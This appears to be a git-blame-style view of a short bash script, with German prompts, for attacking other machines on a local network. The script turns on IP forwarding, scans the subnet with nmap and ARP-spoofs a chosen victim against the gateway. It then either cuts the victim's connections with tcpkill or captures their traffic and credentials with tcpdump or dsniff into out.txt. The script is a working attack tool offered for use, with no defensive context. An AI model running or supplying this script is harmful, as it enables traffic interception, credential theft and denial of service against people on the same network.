2017-09-12 01:28:58 +02:00
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#!/bin/bash
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set -ex
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2017-09-12 01:34:17 +02:00
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if [[ $EUID -ne 0 ]]; then
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echo "This script must be run as root" 1>&2
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2018-02-02 13:30:19 +01:00
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sudo $0
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exit 0
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2017-09-12 01:34:17 +02:00
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fi
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2017-09-12 01:37:03 +02:00
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echo 1 > /proc/sys/net/ipv4/ip_forward
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2018-07-19 16:14:33 +02:00
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gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 )
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2017-09-12 01:28:58 +02:00
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2018-07-19 16:14:33 +02:00
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if [ -z "$1" ]; then
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ip link
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read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul
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else
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modul="$1"
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fi
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if [ -z "$2" ]; then
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nmap -sn ${gateway}/24
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read -p "Wie heisst die IP? : " ip
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else
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ip="$2"
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fi
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2017-09-12 01:28:58 +02:00
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arpspoof -i $modul -t $ip -r $gateway &
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2018-07-19 16:14:33 +02:00
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sleep 2
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if [ -z "$3" ]; then
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tcpkill -9 host $ip
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elif [ "$3" == "tcpdump" ]; then
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2018-07-19 16:35:22 +02:00
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tcpdump -i $modul -A host $ip > out.txt
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2018-07-19 16:14:33 +02:00
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else
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2018-07-19 16:35:22 +02:00
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dsniff -i $modul -mc > out.txt
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2018-07-19 16:14:33 +02:00
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fi
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